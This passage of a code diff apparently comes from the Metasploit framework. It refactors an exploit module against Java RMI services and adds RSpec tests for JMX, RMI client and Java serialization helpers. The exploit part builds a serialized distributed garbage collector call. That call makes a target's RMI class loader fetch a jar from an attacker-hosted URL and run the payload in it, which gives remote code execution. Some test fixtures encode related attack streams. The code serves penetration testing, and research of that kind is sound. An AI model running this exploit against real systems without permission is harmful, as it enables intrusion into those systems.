vprint_good("#{peer} - The remote payload was already loaded... okey, using it!")
|
||||
return true
|
||||
when 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - The remote payload has been loaded!")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Java::Rmi::Client
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -115,42 +115,33 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def primer
|
||||
connect
|
||||
|
||||
print_status("#{peer} - Sending RMI Header...")
|
||||
send_header
|
||||
ack = recv_protocol_ack
|
||||
if ack.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol")
|
||||
end
|
||||
|
||||
jar = rand_text_alpha(rand(8)+1) + '.jar'
|
||||
old_url = "file:./rmidummy.jar"
|
||||
new_url = get_uri + '/' + jar
|
||||
packet = gen_rmi_packet
|
||||
# Java strings in serialized data are prefixed with a 2-byte, big endian length
|
||||
# (at least, as long as they are shorter than 65536 bytes)
|
||||
find_me = [old_url.length].pack("n") + old_url
|
||||
idx = packet.index(find_me)
|
||||
len = [new_url.length].pack("n")
|
||||
# Now replace it with the new url
|
||||
packet[idx, find_me.length] = len + new_url
|
||||
|
||||
# write out minimal header and packet
|
||||
print_status("#{peer} - Connected and sending request for #{new_url}")
|
||||
#sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
|
||||
sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet)
|
||||
print_status("#{peer} - Sending RMI Call...")
|
||||
send_call(call_data: build_gc_call_data(new_url))
|
||||
return_data = recv_return
|
||||
|
||||
buf = ""
|
||||
1.upto(6) do
|
||||
res = sock.get_once(-1, 5) rescue nil
|
||||
break unless res
|
||||
break if session_created?
|
||||
buf << res
|
||||
if return_data.nil? && !session_created?
|
||||
fail_with(Failure::Unknown, 'RMI Call failed')
|
||||
end
|
||||
|
||||
if return_data && loader_disabled?(return_data)
|
||||
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
|
||||
end
|
||||
|
||||
if return_data && class_not_found?(return_data)
|
||||
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
|
||||
end
|
||||
|
||||
disconnect
|
||||
|
||||
if buf =~ /RMI class loader disabled/
|
||||
fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled")
|
||||
end
|
||||
|
||||
if buf =~ /java.lang.ClassNotFoundException/
|
||||
fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Target may be exploitable...")
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
@ -175,22 +166,96 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
def gen_rmi_packet
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
|
||||
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
|
||||
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
|
||||
"\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" +
|
||||
"\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" +
|
||||
"\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" +
|
||||
"\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
|
||||
end
|
||||
|
||||
def autofilter
|
||||
return true
|
||||
end
|
||||
|
||||
def loader_disabled?(stream)
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||
content.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
||||
content.class_data[1].contents.include?('RMI class loader disabled')
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def class_not_found?(stream)
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def build_gc_call_data(jar_url)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
|
||||
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
|
||||
new_array_desc.serial_version = 0x871300b8d02c647e
|
||||
new_array_desc.flags = 2
|
||||
new_array_desc.fields = []
|
||||
new_array_desc.class_annotation = new_array_annotation
|
||||
new_array_desc.super_class = new_array_super
|
||||
|
||||
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
array_desc.description = new_array_desc
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.type = 'java.rmi.server.ObjID;'
|
||||
new_array.values = []
|
||||
new_array.array_description = array_desc
|
||||
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
||||
new_class_desc.serial_version = 0xa16544ba26f9c2f4
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,33 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'msf/java/jmx'
|
||||
|
||||
describe Msf::Java::Jmx::Discovery do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Jmx
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:stream_discovery) do
|
||||
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" +
|
||||
"\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" +
|
||||
"\x69"
|
||||
end
|
||||
|
||||
describe "#discovery_stream" do
|
||||
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
it "builds a valid stream to discover an jmxrmi endpoing" do
|
||||
expect(mod.discovery_stream.encode).to eq(stream_discovery)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/java'
|
||||
require 'msf/java/jmx'
|
||||
|
||||
describe Msf::Java::Jmx::Handshake do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Jmx
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:handshake_stream) do
|
||||
"\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" +
|
||||
"\x0c\xae\xa8\x70"
|
||||
end
|
||||
|
||||
let(:auth_stream) do
|
||||
"\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
|
||||
"\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
|
||||
"\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" +
|
||||
"\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64"
|
||||
end
|
||||
|
||||
describe "#handshake_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
it "builds a correct stream" do
|
||||
expect(mod.handshake_stream(0).encode).to eq(handshake_stream)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#auth_array_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.auth_array_stream('role', 'password')).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "builds a correct stream" do
|
||||
expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,93 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'msf/java/jmx'
|
||||
|
||||
describe Msf::Java::Jmx::Mbean::ServerConnection do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Jmx
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:mbean_sample) { 'MBeanSample' }
|
||||
let(:sample_args) do
|
||||
{'arg1' => 'java.lang.String'}
|
||||
end
|
||||
|
||||
describe "#create_mbean_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
context "when no opts" do
|
||||
it "builds a default stream" do
|
||||
expect(mod.create_mbean_stream.contents[1].contents).to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "builds a stream having opts into account" do
|
||||
expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get_object_instance_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
context "when no opts" do
|
||||
it "builds a default stream" do
|
||||
expect(mod.get_object_instance_stream.contents[2].contents).to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "builds a stream having opts into account" do
|
||||
expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#invoke_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
context "when no opts" do
|
||||
it "builds a default stream" do
|
||||
expect(mod.invoke_stream.contents[2].contents).to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "builds a stream having opts into account" do
|
||||
expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#invoke_arguments_stream" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
|
||||
context "when no opts" do
|
||||
it "builds a default stream" do
|
||||
expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "builds a stream having opts into account" do
|
||||
expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,121 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'stringio'
|
||||
require 'rex/java'
|
||||
require 'msf/java/jmx'
|
||||
|
||||
describe Msf::Java::Jmx::Util do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Jmx
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:empty) { '' }
|
||||
let(:empty_io) { StringIO.new(empty) }
|
||||
let(:string) { "\x00\x04\x41\x42\x43\x44" }
|
||||
let(:string_io) { StringIO.new(string) }
|
||||
let(:int) { "\x00\x00\x00\x04" }
|
||||
let(:int_io) { StringIO.new(int) }
|
||||
let(:stream_raw) do
|
||||
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
|
||||
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
|
||||
"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
|
||||
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
|
||||
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
|
||||
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
|
||||
"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
|
||||
"\x2c\x69\x64\x3d\x31\x78\x70"
|
||||
end
|
||||
let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) }
|
||||
|
||||
let(:contents_unicast_ref) do
|
||||
"\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" +
|
||||
"\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" +
|
||||
"\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" +
|
||||
"\xdf\xd4\x57\x7e\x80\x01\x01"
|
||||
end
|
||||
let(:unicast_ref_io) do
|
||||
StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents)
|
||||
end
|
||||
let(:unicast_ref) do
|
||||
{
|
||||
:address => '172.16.158.131',
|
||||
:id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01",
|
||||
:port => 3057
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
describe "#extract_string" do
|
||||
context "when io contains a valid string" do
|
||||
it "returns the string" do
|
||||
expect(mod.extract_string(string_io)).to eq('ABCD')
|
||||
end
|
||||
end
|
||||
|
||||
context "when io doesn't contain a valid string" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_string(empty_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_int" do
|
||||
context "when io contains a valid int" do
|
||||
it "returns the string" do
|
||||
expect(mod.extract_int(int_io)).to eq(4)
|
||||
end
|
||||
end
|
||||
|
||||
context "when io doesn't contain a valid int" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_int(empty_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_object" do
|
||||
context "when empty stream" do
|
||||
it "returns nil" do
|
||||
empty_stream = Rex::Java::Serialization::Model::Stream.new
|
||||
expect(mod.extract_object(empty_stream, 1)). to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when valid stream" do
|
||||
context "when id stores an object" do
|
||||
it "returns the object's class name" do
|
||||
expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName')
|
||||
end
|
||||
end
|
||||
|
||||
context "when id doesn't store an object" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_object(stream, 0)). to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#extract_unicast_ref" do
|
||||
context "when empty io" do
|
||||
it "returns nil" do
|
||||
expect(mod.extract_unicast_ref(empty_io)). to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when valid io" do
|
||||
it "returns a hash" do
|
||||
expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash)
|
||||
end
|
||||
|
||||
it "returns a hash containing the UnicastRef information" do
|
||||
expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,107 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
describe Msf::Java::Rmi::Client::Streams do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:default_header) { "JRMI\x00\x02\x4b" }
|
||||
let(:header_opts) do
|
||||
{
|
||||
:version => 1,
|
||||
:protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL
|
||||
}
|
||||
end
|
||||
let(:opts_header) { "JRMI\x00\x01\x4d" }
|
||||
|
||||
let(:default_call) { "\x50\xac\xed\x00\x05" }
|
||||
let(:call_opts) do
|
||||
{
|
||||
:message_id => Rex::Proto::Rmi::Model::PING_MESSAGE
|
||||
}
|
||||
end
|
||||
let(:opts_call) { "\x52\xac\xed\x00\x05" }
|
||||
|
||||
let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" }
|
||||
let(:dgc_ack_opts) do
|
||||
{
|
||||
:unique_identifier => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01"
|
||||
}
|
||||
end
|
||||
let(:opts_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" }
|
||||
|
||||
describe "#build_header" do
|
||||
context "when no opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::OutputHeader" do
|
||||
expect(mod.build_header).to be_a(Rex::Proto::Rmi::Model::OutputHeader)
|
||||
end
|
||||
|
||||
it "creates a default OutputHeader" do
|
||||
expect(mod.build_header.encode).to eq(default_header)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::OutputHeader" do
|
||||
expect(mod.build_header(header_opts)).to be_a(Rex::Proto::Rmi::Model::OutputHeader)
|
||||
end
|
||||
|
||||
it "creates a OutputHeader with data from opts" do
|
||||
expect(mod.build_header(header_opts).encode).to eq(opts_header)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#build_call" do
|
||||
context "when no opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_call).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a default Call" do
|
||||
expect(mod.build_call.encode).to eq(default_call)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::Call" do
|
||||
expect(mod.build_call(call_opts)).to be_a(Rex::Proto::Rmi::Model::Call)
|
||||
end
|
||||
|
||||
it "creates a Call with data from opts" do
|
||||
expect(mod.build_call(call_opts).encode).to eq(opts_call)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#build_dgc_ack" do
|
||||
context "when no opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::DgcAck" do
|
||||
expect(mod.build_dgc_ack).to be_a(Rex::Proto::Rmi::Model::DgcAck)
|
||||
end
|
||||
|
||||
it "creates a default Call" do
|
||||
expect(mod.build_dgc_ack.encode).to eq(default_dgc_ack)
|
||||
end
|
||||
end
|
||||
|
||||
context "when opts" do
|
||||
it "creates a Rex::Proto::Rmi::Model::DgcAck" do
|
||||
expect(mod.build_dgc_ack(dgc_ack_opts)).to be_a(Rex::Proto::Rmi::Model::DgcAck)
|
||||
end
|
||||
|
||||
it "creates a DgcAck with data from opts" do
|
||||
expect(mod.build_dgc_ack(dgc_ack_opts).encode).to eq(opts_dgc_ack)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,100 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/proto/rmi'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
class RmiStringIO < StringIO
|
||||
|
||||
def put(data)
|
||||
write(data)
|
||||
end
|
||||
|
||||
def get_once(length = -1, timeout = 10)
|
||||
read
|
||||
end
|
||||
end
|
||||
|
||||
describe Msf::Java::Rmi::Client do
|
||||
subject(:mod) do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::Java::Rmi::Client
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let(:io) { RmiStringIO.new('', 'w+b') }
|
||||
let(:protocol_not_supported) { "\x4f" }
|
||||
let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) }
|
||||
let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" }
|
||||
let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) }
|
||||
let(:return_data) do
|
||||
"\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" +
|
||||
"\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" +
|
||||
"\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" +
|
||||
"\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" +
|
||||
"\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" +
|
||||
"\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" +
|
||||
"\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" +
|
||||
"\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" +
|
||||
"\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" +
|
||||
"\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" +
|
||||
"\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" +
|
||||
"\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" +
|
||||
"\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" +
|
||||
"\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
||||
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" +
|
||||
"\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" +
|
||||
"\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" +
|
||||
"\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0"
|
||||
end
|
||||
let(:return_io) { RmiStringIO.new(return_data) }
|
||||
|
||||
describe "#send_header" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_header(sock: io)).to eq(13)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_call" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_call(sock: io)).to eq(5)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#send_dgc_ack" do
|
||||
it "returns the number of bytes sent" do
|
||||
expect(mod.send_dgc_ack(sock: io)).to eq(15)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#recv_protocol_ack" do
|
||||
context "when end point returns protocol ack" do
|
||||
it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do
|
||||
expect(mod.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck)
|
||||
end
|
||||
end
|
||||
|
||||
context "when end point returns protocol not supported" do
|
||||
it "return nil" do
|
||||
expect(mod.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#recv_return" do
|
||||
context "when end point returns a value to the call" do
|
||||
it "returns a Rex::Java::Serialization::Model::Stream" do
|
||||
expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream)
|
||||
end
|
||||
end
|
||||
|
||||
context "when end point doesn't return a value to the call" do
|
||||
it "returns nil" do
|
||||
expect(mod.recv_return(sock: io)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,143 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
|
||||
describe Rex::Java::Serialization::Builder do
|
||||
subject(:builder) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:class_opts) do
|
||||
{
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: 0x7cbd1e97ed63fc3e,
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
]
|
||||
}
|
||||
end
|
||||
|
||||
let(:object_opts) do
|
||||
{
|
||||
data: [["int", 1]]
|
||||
}
|
||||
end
|
||||
|
||||
let(:array_opts) do
|
||||
{
|
||||
values_type: 'byte',
|
||||
values: [0x41, 0x42, 0x43, 0x44]
|
||||
}
|
||||
end
|
||||
|
||||
describe ".new" do
|
||||
it "returns a Rex::Java::Serialization::Builder" do
|
||||
expect(builder).to be_a(Rex::Java::Serialization::Builder)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#new_class" do
|
||||
context "when no options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
|
||||
expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
|
||||
it "sets an empty class name" do
|
||||
expect(builder.new_class.class_name.contents).to eq('')
|
||||
end
|
||||
|
||||
it "sets a 0 serial version" do
|
||||
expect(builder.new_class.serial_version).to eq(0)
|
||||
end
|
||||
|
||||
it "sets flags to SC_SERIALIZABLE" do
|
||||
expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE)
|
